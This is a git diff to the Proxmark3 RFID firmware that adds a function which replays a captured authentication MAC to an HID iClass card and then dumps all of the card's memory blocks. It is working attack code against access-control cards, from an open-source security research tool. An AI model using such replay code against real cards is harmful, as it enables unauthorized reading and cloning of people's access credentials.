X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/1801456ede26acf58301412c8f3a5c01f1e9cd8f..c3963755b7bdb05523e694fbecca4dca2ad0112b:/armsrc/iclass.c

diff --git a/armsrc/iclass.c b/armsrc/iclass.c
index e876132e..c827ed51 100644
--- a/armsrc/iclass.c
+++ b/armsrc/iclass.c
@@ -45,6 +45,7 @@
 // same construction as in ISO 14443;
 // different initial value (CRC_ICLASS)
 #include "iso14443crc.h"
+#include "iso15693tools.h"
 
 static int timeout = 4096;
 
@@ -1476,4 +1477,147 @@ void ReaderIClass(uint8_t arg0) {
 	LED_A_OFF();
 }
 
+void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
+	uint8_t act_all[]     = { 0x0a };
+	uint8_t identify[]    = { 0x0c };
+	uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+	uint8_t readcheck_cc[]= { 0x88, 0x02 };
+	uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+	uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+	
+        uint16_t crc = 0;
+	uint8_t cardsize=0;
+	bool read_success=false;
+	uint8_t mem=0;
+	
+	static struct memory_t{
+	  int k16;
+	  int book;
+	  int k2;
+	  int lockauth;
+	  int keyaccess;
+	} memory;
+	
+	uint8_t* resp = (((uint8_t *)BigBuf) + 3560);	// was 3560 - tied to other size changes
+
+	// Reset trace buffer
+    	memset(trace, 0x44, RECV_CMD_OFFSET);
+	traceLen = 0;
+
+	// Setup SSC
+	FpgaSetupSsc();
+	// Start from off (no field generated)
+	// Signal field is off with the appropriate LED
+	LED_D_OFF();
+	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+	SpinDelay(200);
+
+	SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+	// Now give it time to spin up.
+	// Signal field is on with the appropriate LED
+	FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+	SpinDelay(200);
+
+	LED_A_ON();
+
+	for(int i=0;i<1;i++) {
+	
+		if(traceLen > TRACE_SIZE) {
+			DbpString("Trace full");
+			break;
+		}
+		
+		if (BUTTON_PRESS()) break;
+
+		// Send act_all
+		ReaderTransmitIClass(act_all, 1);
+		// Card present?
+		if(ReaderReceiveIClass(resp)) {
+			ReaderTransmitIClass(identify, 1);
+			if(ReaderReceiveIClass(resp) == 10) {
+				// Select card          
+				memcpy(&select[1],resp,8);
+				ReaderTransmitIClass(select, sizeof(select));
+
+				if(ReaderReceiveIClass(resp) == 10) {
+					Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+					resp[0], resp[1], resp[2],
+					resp[3], resp[4], resp[5],
+					resp[6], resp[7]);
+				}
+				// Card selected
+				Dbprintf("Readcheck on Sector 2");
+				ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+				if(ReaderReceiveIClass(resp) == 8) {
+				   Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+					resp[0], resp[1], resp[2],
+					resp[3], resp[4], resp[5],
+					resp[6], resp[7]);
+				}else return;
+				Dbprintf("Authenticate");
+				//for now replay captured auth (as cc not updated)
+				memcpy(check+5,MAC,4);
+				Dbprintf("     AA: %02x %02x %02x %02x",
+					check[5], check[6], check[7],check[8]);
+				ReaderTransmitIClass(check, sizeof(check));
+				if(ReaderReceiveIClass(resp) == 4) {
+				   Dbprintf("     AR: %02x %02x %02x %02x",
+					resp[0], resp[1], resp[2],resp[3]);
+				}else {
+				  Dbprintf("Error: Authentication Fail!");
+				  return;
+				}
+				Dbprintf("Dump Contents");
+				//first get configuration block
+				read_success=false;
+				read[1]=1;
+				uint8_t *blockno=&read[1];
+				crc = iclass_crc16((char *)blockno,1);
+				read[2] = crc >> 8;
+				read[3] = crc & 0xff;
+				while(!read_success){
+				      ReaderTransmitIClass(read, sizeof(read));
+				      if(ReaderReceiveIClass(resp) == 10) {
+					 read_success=true;
+					 mem=resp[5];
+					 memory.k16= (mem & 0x80);
+					 memory.book= (mem & 0x20);
+					 memory.k2= (mem & 0x8);
+					 memory.lockauth= (mem & 0x2);
+					 memory.keyaccess= (mem & 0x1);
+
+				      }
+				}
+				if (memory.k16){
+				  cardsize=255;
+				}else cardsize=32;
+				//then loop around remaining blocks
+				for(uint8_t j=0; j<cardsize; j++){
+				    read_success=false;
+				    uint8_t *blockno=&j;
+				    //crc_data[0]=j;
+				    read[1]=j;
+				    crc = iclass_crc16((char *)blockno,1);
+				    read[2] = crc >> 8;
+				    read[3] = crc & 0xff;
+				    while(!read_success){
+				      ReaderTransmitIClass(read, sizeof(read));
+				      if(ReaderReceiveIClass(resp) == 10) {
+					 read_success=true;
+				         Dbprintf("     %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+					  j, resp[0], resp[1], resp[2],
+					  resp[3], resp[4], resp[5],
+					  resp[6], resp[7]);
+				      }
+				    }
+				}
+			}
+		}
+		WDT_HIT();
+	}
+	
+	LED_A_OFF();
+}
+